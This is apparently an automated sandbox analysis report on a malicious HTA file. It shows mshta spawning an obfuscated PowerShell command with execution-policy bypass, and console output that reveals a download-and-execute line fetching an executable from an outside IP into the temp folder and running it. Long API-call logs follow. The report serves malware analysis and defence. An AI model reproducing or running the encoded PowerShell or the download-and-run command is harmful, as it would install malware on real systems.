popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

65.hta

Generic Malware Antivirus Hide_URL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 14, 2023, 7:29 a.m. July 14, 2023, 7:31 a.m.
Size 3.8KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 c424aa5b9e44cdfa876c24c898bd1205
SHA256 1e99b8004f30d6f4d85d70cdf714f4a3cf510847434077630adb804e0af8e0bb
CRC32 5BFA3F29
ssdeep 48:3BkD8N8UuuUuuuLMwTXtRbtZbt95XbfN/a8PG:k082MwTXtRbrbt+
Yara
  • Antivirus - Contains references to security software

  • mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\65.hta

    2564

    • POWErsHeLl.exE "C:\Windows\SYstem32\winDowSPOweRsHELL\v1.0\POWErsHeLl.exE" "pOWeRSHELL.eXE -Ex bYpASs -NOp -W 1 -ec IABbAG4AZQBUAC4AcwBlAFIAVgBJAEMARQBwAE8AaQBuAHQAbQBBAE4AYQBnAEUAcgBdADoAOgBTAEUAQwB1AFIAaQB0AFkAUAByAG8AdABPAEMATwBMACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIABbAE4ARQBUAC4AUwBlAEMAdQBSAGkAdABZAHAAcgBvAHQAbwBDAE8ATABUAHkAUABlAF0AOgA6AFQAbABzADEAMgAgACAAIAAgACAACQAgACAAIAAJAAkAIAAgAAkAIAA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBHAGUAdAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAyADQAMwAuADEANQAdICAAIAArACAAHSA3AC8ANgA1AC8AdwBpAG4AYQAdICAAIAArACAAHSBwAC4AZQAdICAAIAArACAAHSB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAgACAAIAAgACAAIAAgACAALQBPAFUAVABmAGkATABlACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgB2ADoAdABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0gIAA7ACAAIAAgAFMAVABBAHIAdAAgAAkAHSAkAEUAbgBWADoAVABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0g "

      2648

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYpASs -NOp -W 1 -ec IABbAG4AZQBUAC4AcwBlAFIAVgBJAEMARQBwAE8AaQBuAHQAbQBBAE4AYQBnAEUAcgBdADoAOgBTAEUAQwB1AFIAaQB0AFkAUAByAG8AdABPAEMATwBMACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIABbAE4ARQBUAC4AUwBlAEMAdQBSAGkAdABZAHAAcgBvAHQAbwBDAE8ATABUAHkAUABlAF0AOgA6AFQAbABzADEAMgAgACAAIAAgACAACQAgACAAIAAJAAkAIAAgAAkAIAA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBHAGUAdAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAyADQAMwAuADEANQAdICAAIAArACAAHSA3AC8ANgA1AC8AdwBpAG4AYQAdICAAIAArACAAHSBwAC4AZQAdICAAIAArACAAHSB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAgACAAIAAgACAAIAAgACAALQBPAFUAVABmAGkATABlACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgB2ADoAdABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0gIAA7ACAAIAAgAFMAVABBAHIAdAAgAAkAHSAkAEUAbgBWADoAVABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0g

        2820

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: SecurityProtocolType" due to invalid enumeration values. Specify one of the fol
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: lowing enumeration values and try again. The possible enumeration values are "S
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: sl3, Tls"."
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:29
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + [neT.seRVICEpOintmANagEr]:: <<<< SECuRitYProtOCOL = [NET.SeCuR
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: itYprotoCOLTyPe]::Tls12 ;
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: W
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Get (”http://192.3.243.15” + ”7/65/wina” + ”p.e” + ”x” + ”e” ) -O
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: UTfiLe ”$env:tEmp\HCL_Centoii.exe” ; STArt ”$EnV:TEmp\HCL_Centoi
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: i.exe”
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : PropertyAssignmentException
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: The term 'WGet' is not recognized as the name of a cmdlet, function, script fil
console_handle: 0x000000d3
1 1 0

WriteConsoleW

 buffer: e, or operable program. Check the spelling of the name, or if a path was includ
console_handle: 0x000000df
1 1 0

WriteConsoleW

 buffer: ed, verify that the path is correct and try again.
console_handle: 0x000000eb
1 1 0

WriteConsoleW

 buffer: At line:1 char:143
console_handle: 0x000000f7
1 1 0

WriteConsoleW

 buffer: + [neT.seRVICEpOintmANagEr]::SECuRitYProtOCOL = [NET.SeCuRitYpro
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: toCOLTyPe]::Tls12 ;
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: WGet <<
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: << (”http://192.3.243.15” + ”7/65/wina” + ”p.e” + ”x” + ”e” ) -O
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: UTfiLe ”$env:tEmp\HCL_Centoii.exe” ; STArt ”$EnV:TEmp\HCL_Centoi
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: i.exe”
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (WGet:String) [], CommandNotFoun
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: dException
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: Start-Process : This command cannot be executed due to the error: The system ca
console_handle: 0x00000183
1 1 0

WriteConsoleW

 buffer: nnot find the file specified.
console_handle: 0x0000018f
1 1 0

WriteConsoleW

 buffer: At line:1 char:272
console_handle: 0x0000019b
1 1 0

WriteConsoleW

 buffer: + [neT.seRVICEpOintmANagEr]::SECuRitYProtOCOL = [NET.SeCuRitYpro
console_handle: 0x000001a7
1 1 0

WriteConsoleW

 buffer: toCOLTyPe]::Tls12 ;
console_handle: 0x000001b3
1 1 0

WriteConsoleW

 buffer: WGet
console_handle: 0x000001bf
1 1 0

WriteConsoleW

 buffer: (”http://192.3.243.15” + ”7/65/wina” + ”p.e” + ”x” + ”e” ) -OUTfiLe
console_handle: 0x000001cb
1 1 0

WriteConsoleW

 buffer: ”$env:tEmp\HCL_Centoii.exe” ; STArt <<<< ”$EnV:TEmp\HCL_Centoi
console_handle: 0x000001d7
1 1 0

WriteConsoleW

 buffer: i.exe”
console_handle: 0x000001e3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOp
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: erationException
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.C
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: ommands.StartProcessCommand
console_handle: 0x00000213
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323a50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003241d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003241d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003241d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003241d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003241d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003241d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323a10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323a10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323a10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323610
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00323fd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324350
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00324290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037a260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037a960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037a960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037a960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037ac20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037ac20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037ac20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037ac20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037ac20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0037ac20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2564
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 786432
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02820000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
